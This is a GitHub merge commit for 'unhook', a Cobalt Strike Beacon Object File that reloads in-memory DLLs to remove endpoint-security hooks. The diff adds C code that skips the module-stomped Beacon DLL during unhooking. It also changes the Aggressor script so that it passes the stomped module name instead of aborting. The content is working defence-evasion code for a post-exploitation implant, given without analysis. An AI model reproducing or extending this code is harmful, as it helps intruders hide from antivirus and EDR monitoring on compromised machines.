Merge pull request #1 from physics-sp/master

Don't unhook the DLL where Beacon is
This commit is contained in:
Raphael Mudge
2021-03-06 15:24:52 -05:00
committed by GitHub
7 changed files with 42 additions and 15 deletions
-4
View File
@@ -8,10 +8,6 @@ Load unhook.cna into Cobalt Strike via Cobalt Strike -> Script Manager
Run 'unhook' from Beacon
Known issues:
Unhook refreshes "everything". If you're module stomping--this would include that module. The unhook alias does detect if module stomping is enabled and report an error. Future improvements could limit which DLLs are refreshed to a list of high-interest DLLs or explicitly exclude our stomped module.
To build:
x86: Open Visual Studio x86 Native Tools Command Prompt and type 'make'
+29 -2
View File
@@ -4,7 +4,32 @@
#include "unhook.h"
#include "beacon.h"
void RefreshPE(void * buffer)
BOOL IsBeaconDLL(char* stomp, size_t beaconDllLength, PWSTR wszBaseDllName, USHORT BaseDllLength)
{
BOOL isBeacon = FALSE;
if (beaconDllLength * 2 == BaseDllLength)
{
isBeacon = TRUE;
for (int i = 0; i < beaconDllLength; i++)
{
// make them lower case
char c1 = stomp[i];
char c2 = wszBaseDllName[i];
if (c1 >= 'A' && c1 <= 'Z')
c1 += 32;
if (c2 >= 'A' && c2 <= 'Z')
c2 += 32;
if (c1 != c2)
{
isBeacon = FALSE;
break;
}
}
}
return isBeacon;
}
void RefreshPE(void * buffer, char* stomp)
{
HMODULE hModule;
PWSTR wszFullDllName;
@@ -14,13 +39,15 @@ void RefreshPE(void * buffer)
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
size_t beaconDllLength = strlen(stomp);
dprintf("[REFRESH] Running DLLRefresher");
pLdteHead = GetInMemoryOrderModuleList();
pLdteCurrent = pLdteHead;
do {
if (pLdteCurrent->FullDllName.Length > 2)
if (pLdteCurrent->FullDllName.Length > 2 && !IsBeaconDLL(stomp, beaconDllLength, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length))
{
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
+1 -1
View File
@@ -11,7 +11,7 @@
#define OUTPUTDBGW(str)
#endif
void RefreshPE(void * out);
void RefreshPE(void * out, char* stomp);
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase);
HMODULE CustomGetModuleHandleW(const PWSTR wszModule);
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule);
+7 -2
View File
@@ -2,14 +2,19 @@
#include "refresh.c"
#include "unhook.h"
void go() {
void go(char* args, int length) {
datap parser;
formatp buffer;
char *out;
int size;
char* stomp;
BeaconDataParse(&parser, args, length);
stomp = BeaconDataExtract(&parser, NULL);
BeaconFormatAlloc(&buffer, 64 * 1024);
RefreshPE(&buffer);
RefreshPE(&buffer, stomp);
/* we're done... I guess */
BeaconFormatPrintf(&buffer, "Unhook is done.\n");
+5 -6
View File
@@ -1,5 +1,5 @@
alias unhook {
local('$barch $handle $data $stomp');
local('$barch $handle $data $stomp $args');
# figure out the arch of this session
$barch = barch($1);
@@ -7,20 +7,19 @@ alias unhook {
# if we're module stomping; don't run the unhook as-is because we'll walk over
# everything. We don't want that. A nice improvement would ask unhooker to skip stomped module.
$stomp = [data_query("metadata")["c2profile"] getString: ".stage.module_ $+ $barch"];
if ($stomp ne "") {
berror($1, "Can't unhook when .stage.module_ $+ $barch is set. :(");
return;
}
# read in the right BOF file
$handle = openf(script_resource("unhook. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
# pack the arguments
$args = bof_pack($1, "z", $stomp);
btask($1, "Running unhook");
# run it..
beacon_inline_execute($1, $data, "go", $null);
beacon_inline_execute($1, $data, "go", $args);
}
beacon_command_register(
Executable → Regular
BIN
View File
Binary file not shown.
Executable → Regular
BIN
View File
Binary file not shown.